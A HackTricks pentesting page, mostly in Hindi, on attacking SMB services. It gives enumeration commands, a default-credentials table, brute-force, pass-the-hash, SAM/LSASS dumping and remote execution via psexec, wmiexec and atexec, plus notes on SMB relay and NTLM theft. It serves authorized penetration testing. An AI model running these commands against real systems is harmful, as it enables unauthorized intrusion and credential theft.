139,445 - Pentesting SMB
Reading time: 23 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Port 139
The Network Basic Input Output System** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है, जो लोकल एरिया नेटवर्क (LAN) के भीतर applications, PCs और Desktops को नेटवर्क हार्डवेयर के साथ इंटरैक्ट करने और नेटवर्क के माध्यम से डेटा के प्रेषण की सुविधा प्रदान करने के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर चलने वाले सॉफ़्टवेयर एप्लिकेशन की पहचान और स्थान उनके NetBIOS नामों के माध्यम से किया जाता है, जो अधिकतम 16 अक्षरों तक के हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो एप्लिकेशन के बीच NetBIOS सेशन तब आरंभ होता है जब एक एप्लिकेशन (acting as the client) दूसरी एप्लिकेशन (acting as the server) को "call" करने का कमांड जारी करता है, जो TCP Port 139 का उपयोग करता है।
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
Port 445
Technically, Port 139 is referred to as ‘NBT over IP’, whereas Port 445 is identified as ‘SMB over IP’. The acronym SMB stands for ‘Server Message Blocks’, which is also modernly known as the Common Internet File System (CIFS). As an application-layer network protocol, SMB/CIFS is primarily utilized to enable shared access to files, printers, serial ports, and facilitate various forms of communication between nodes on a network.
For example, in the context of Windows, it is highlighted that SMB can operate directly over TCP/IP, eliminating the necessity for NetBIOS over TCP/IP, through the utilization of port 445. Conversely, on different systems, the employment of port 139 is observed, indicating that SMB is being executed in conjunction with NetBIOS over TCP/IP.
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
The Server Message Block (SMB) प्रोटोकॉल, जो client-server मॉडल में काम करता है, फाइलों, डायरेक्टरीज़ और प्रिंटर व राउटर जैसे अन्य नेटवर्क संसाधनों तक access to files को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्यतः Windows ऑपरेटिंग सिस्टम परिवार में प्रयोग होने वाला, SMB पिछली संगतता सुनिश्चित करता है, जिससे Microsoft के नए वर्ज़न वाले डिवाइस पुराने वर्ज़न चलाने वाले डिवाइसों के साथ सहजता से इंटरैक्ट कर सकते हैं। इसके अतिरिक्त, Samba प्रोजेक्ट एक मुफ्त सॉफ्टवेयर समाधान प्रदान करता है, जो Linux और Unix सिस्टम पर SMB के कार्यान्वयन को सक्षम बनाता है और इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुगम बनाता है।
Shares, जो arbitrary parts of the local file system को दर्शाते हैं, SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायारार्की सर्वर की वास्तविक संरचना से आंशिक रूप से independent दिख सकती है। Access Control Lists (ACLs), जो access rights को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर fine-grained control की अनुमति देती हैं, जिनमें execute, read, और full access जैसे गुण शामिल हैं। ये अनुमतियाँ Shares के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपा जा सकता है, और सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
IPC$ Share
IPC$ share तक पहुँच anonymous null session के माध्यम से प्राप्त की जा सकती है, जिससे named pipes के जरिए एक्सपोज़ किए गए सर्विसेज़ के साथ इंटरैक्शन संभव होता है। इस उद्देश्य के लिए enum4linux उपयोगी है। ठीक से उपयोग करने पर यह निम्नलिखित प्राप्त करने में सक्षम बनता है:
- ऑपरेटिंग सिस्टम की जानकारी
- parent domain के विवरण
- स्थानीय उपयोगकर्ताओं और समूहों की सूची
- उपलब्ध SMB shares की जानकारी
- सिस्टम की प्रभावी सुरक्षा नीति
यह कार्यक्षमता नेटवर्क एडमिनिस्ट्रेटर्स और सुरक्षा पेशेवरों के लिए नेटवर्क पर SMB (Server Message Block) सेवाओं की सुरक्षा स्थिति का मूल्यांकन करने के लिए महत्वपूर्ण है। enum4linux लक्षित सिस्टम के SMB पर्यावरण का एक व्यापक दृश्य प्रदान करता है, जो संभावित कमजोरियों की पहचान करने और यह सुनिश्चित करने के लिए आवश्यक है कि SMB सेवाएँ उचित रूप से सुरक्षित हैं।
enum4linux -a target_ip
ऊपर दिया गया कमांड यह दिखाने का एक उदाहरण है कि enum4linux का उपयोग target_ip द्वारा निर्दिष्ट लक्ष्य के खिलाफ full enumeration करने के लिए कैसे किया जा सकता है।
NTLM क्या है
यदि आप नहीं जानते कि NTLM क्या है या आप यह जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आपको NTLM के बारे में यह पृष्ठ बहुत रोचक लगेगा जहाँ समझाया गया है कि यह प्रोटोकॉल कैसे काम करता है और आप इससे कैसे लाभ उठा सकते हैं:
Server Enumeration
Scan नेटवर्क में होस्ट खोजने के लिए:
nbtscan -r 192.168.0.1/24
SMB सर्वर संस्करण
SMB संस्करण के संभावित exploits ढूँढने के लिए यह जानना महत्वपूर्ण है कि कौन सा वर्ज़न उपयोग में है। अगर यह जानकारी अन्य उपयोग किए गए टूल्स में दिखाई नहीं देती है, तो आप:
- उपयोग करें MSF auxiliary module
**auxiliary/scanner/smb/smb_version** - या यह स्क्रिप्ट:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
खोज exploit
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
संभावित क्रेडेंशियल्स
| यूज़रनेम(स) | सामान्य पासवर्ड |
|---|---|
| (blank) | (blank) |
| guest | (blank) |
| Administrator, admin | (blank), password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
Brute Force
SMB पर्यावरण जानकारी
जानकारी प्राप्त करें
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
उपयोगकर्ता, समूह और लॉग इन किए हुए उपयोगकर्ताओं को सूचीबद्ध करें
यह जानकारी पहले से enum4linux और enum4linux-ng से एकत्र की जा चुकी होनी चाहिए।
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
स्थानीय उपयोगकर्ताओं को सूचीबद्ध करें
lookupsid.py -no-pass hostname.local
एक-पंक्ति कमांड
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
Metasploit - स्थानीय उपयोगकर्ताओं की सूची निकालना
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
LSARPC और SAMR rpcclient का सूचीकरण
GUI connection from linux
टर्मिनल में:
xdg-open smb://cascade.htb/
फ़ाइल ब्राउज़र विंडो में (nautilus, thunar, etc)
smb://friendzone.htb/general/
साझा फ़ोल्डरों की सूचीकरण
साझा फ़ोल्डरों की सूची
यह हमेशा सुझाया जाता है कि देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं; यदि आपके पास credentials नहीं हैं तो null credentials/guest user का उपयोग करने का प्रयास करें।
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
शेयर किए गए फ़ोल्डर को कनेक्ट/सूचीबद्ध करें
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
मैन्युअली windows shares को सूचीबद्ध करें और उनसे कनेक्ट करें
हो सकता है कि आपको होस्ट मशीन के किसी भी shares को दिखाने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं तो ऐसा लगता है कि जुड़े जाने के लिए कोई shares नहीं हैं। इसलिए किसी share से मैन्युअली कनेक्ट करने का एक छोटा सा प्रयास करना उपयोगी हो सकता है। shares को मैन्युअली सूचीबद्ध करने के लिए, आप valid session (उदा. null session या valid credentials) का उपयोग करते हुए NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसे उत्तरों की तलाश कर सकते हैं। ये संकेत दे सकते हैं कि share मौजूद है और आपके पास इसका एक्सेस नहीं है या share बिल्कुल मौजूद ही नहीं है।
Common share names for windows targets are
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(Common share names from Network Security Assessment 3rd edition)
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
या यह script (null session का उपयोग करके)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
उदाहरण
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
Windows से shares सूचीबद्ध करना / थर्ड-पार्टी टूल्स के बिना
PowerShell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
CMD कंसोल
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
MMC Snap-in (ग्राफिकल)
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
explorer.exe (ग्राफिकल), \\<ip>\ दर्ज करें ताकि उपलब्ध non-hidden shares देखें।
एक shared फ़ोल्डर माउंट करें
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
डाउनलोड फाइलें
कनेक्ट करने के तरीके जानने के लिए पिछले अनुभाग पढ़ें (credentials/Pass-the-Hash).
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
कमांड्स:
- mask: डायरेक्टरी के भीतर फ़ाइलों को फ़िल्टर करने के लिए उपयोग किए जाने वाले mask को निर्दिष्ट करता है (उदाहरण के लिए "" सभी फ़ाइलों के लिए)
- recurse: recursion को सक्रिय करता है (डिफ़ॉल्ट: off)
- prompt: फ़ाइल नामों के लिए prompting को बंद करता है (डिफ़ॉल्ट: on)
- mget: होस्ट से क्लाइंट मशीन पर mask से मेल खाने वाली सभी फ़ाइलों को कॉपी करता है
(smbclient के manpage से जानकारी)
डोमेन साझा फ़ोल्डरों की खोज
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExec spider.
-M spider_plus [--share <share_name>]--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.
tip
The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.
You should check the scripts inside of it as you might find sensitive info such as passwords.
Registry पढ़ें
आप कुछ खोजे हुए credentials का उपयोग करके read the registry करने में सक्षम हो सकते हैं। Impacket reg.py आपको कोशिश करने की अनुमति देता है:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
Post Exploitation
The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some खतरनाक कॉन्फ़िग:
| Setting | Description |
|---|---|
browseable = yes | वर्तमान share में उपलब्ध shares की सूची दिखाने की अनुमति देता है? |
read only = no | फाइलों के निर्माण और संशोधन पर रोक लगाता है? |
writable = yes | उपयोगकर्ताओं को फाइलें बनाने और संशोधित करने की अनुमति देता है? |
guest ok = yes | पासवर्ड के बिना सेवा से कनेक्ट करने की अनुमति देता है? |
enable privileges = yes | किसी विशिष्ट SID को आवंटित अधिकारों का सम्मान करता है? |
create mask = 0777 | नए बनाए गए फाइलों को किन अनुमतियों के साथ असाइन किया जाना चाहिए? |
directory mask = 0777 | नई निर्देशिकाओं को किन अनुमतियों के साथ असाइन किया जाना चाहिए? |
logon script = script.sh | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट चलाया जाना चाहिए? |
magic script = script.sh | जब स्क्रिप्ट बंद हो जाए तो कौन सा स्क्रिप्ट चलना चाहिए? |
magic output = script.out | magic स्क्रिप्ट का आउटपुट कहाँ स्टोर किया जाना चाहिए? |
The command smbstatus gives information about the सर्वर and about कौन जुड़ा हुआ है.
Kerberos का उपयोग करके प्रमाणीकृत करें
You can प्रमाणीकृत to kerberos using the tools smbclient and rpcclient:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
Kerberos-only परिवेशों में (NTLM निष्क्रिय), SMB के खिलाफ NTLM प्रयास STATUS_NOT_SUPPORTED वापस कर सकते हैं। सामान्य Kerberos समस्याओं को ठीक करें और Kerberos auth को मजबूर करें:
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>
# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k
पूर्ण client सेटअप के लिए (krb5.conf generation, kinit, SSH GSSAPI/SPN caveats) देखें:
88tcp/udp - Pentesting Kerberos
कमांड्स चलाएं
crackmapexec
crackmapexec कमांड्स चला सकता है दुरुपयोग करके किसी भी mmcexec, smbexec, atexec, wmiexec का, जहाँ wmiexec डिफ़ॉल्ट मेथड है। आप पैरामीटर --exec-method के साथ यह संकेत कर सकते हैं कि आप किस विकल्प का उपयोग करना पसंद करेंगे:
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
दोनों विकल्प पीड़ित मशीन पर (SMB के माध्यम से \pipe\svcctl का उपयोग करते हुए) एक नई service बनाएँगे और इसका उपयोग कुछ execute करने के लिए करेंगे (psexec एक executable फ़ाइल को ADMIN$ शेयर पर upload करेगा और smbexec cmd.exe/powershell.exe की ओर इशारा करेगा तथा arguments में payload डालेगा --file-less technique--).
More info about psexec and smbexec.
In kali it is located on /usr/share/doc/python3-impacket/examples/
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
पैरामीटर-k का उपयोग करके आप kerberos के साथ प्रमाणीकृत कर सकते हैं, NTLM के बजाय
wmiexec/dcomexec
डिस्क को छुए बिना या कोई नया service चलाए बिना DCOM के माध्यम से port 135. पर चुपके से एक command shell निष्पादित करें।
kali में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
parameter-k का उपयोग करके आप kerberos के साथ प्रमाणीकरण कर सकते हैं, NTLM के बजाय।
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
Task Scheduler के माध्यम से कमांड चलाएँ (SMB के माध्यम से \pipe\atsvc का उपयोग करके).
यह kali में /usr/share/doc/python3-impacket/examples/ पर स्थित है
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacket संदर्भ
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ksmbd का आक्रमण सतह और SMB2/SMB3 प्रोटोकॉल fuzzing (syzkaller)
Ksmbd Attack Surface And Fuzzing Syzkaller
Bruteforce उपयोगकर्ता प्रमाण-पत्र
यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत कोशिशों से अधिक बार प्रयास करते हैं तो खाता ब्लॉक हो सकता है।
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMB relay attack
This attack uses the Responder toolkit to SMB authentication sessions को आंतरिक नेटवर्क पर कैप्चर करने के लिए और इन्हें एक target machine पर relay करने के लिए उपयोग करता है। यदि प्रमाणीकरण session सफल होता है, तो यह स्वतः ही आपको system shell में पहुंचा देगा।
More information about this attack here.
SMB-Trap
Windows लाइब्रेरी URLMon.dll स्वचालित रूप से होस्ट के साथ authenticate करने की कोशिश करती है जब कोई पेज SMB के माध्यम से किसी सामग्री को एक्सेस करने की कोशिश करता है, उदाहरण के लिए: img src="\\10.10.10.10\path\image.jpg"
यह निम्नलिखित functions के साथ होता है:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
ये कुछ browsers और tools (जैसे Skype) द्वारा उपयोग किए जाते हैं।
.png)
SMBTrap using MitMf
.png)
NTLM Theft
SMB Trapping के समान, किसी target system पर malicious files रखना (उदाहरण के लिए SMB के माध्यम से) एक SMB authentication प्रयास उत्पन्न कर सकता है, जिससे NetNTLMv2 hash को Responder जैसे टूल से इंटरसेप्ट किया जा सकता है। फिर इस hash को ऑफ़लाइन क्रैक किया जा सकता है या SMB relay attack में उपयोग किया जा सकता है।
HackTricks Automatic Commands
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
संदर्भ
- NetExec (CME) wiki – Kerberos उपयोग
- Pentesting Kerberos (88) – क्लाइंट सेटअप और समस्या निवारण
- 0xdf – HTB: TheFrizz
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks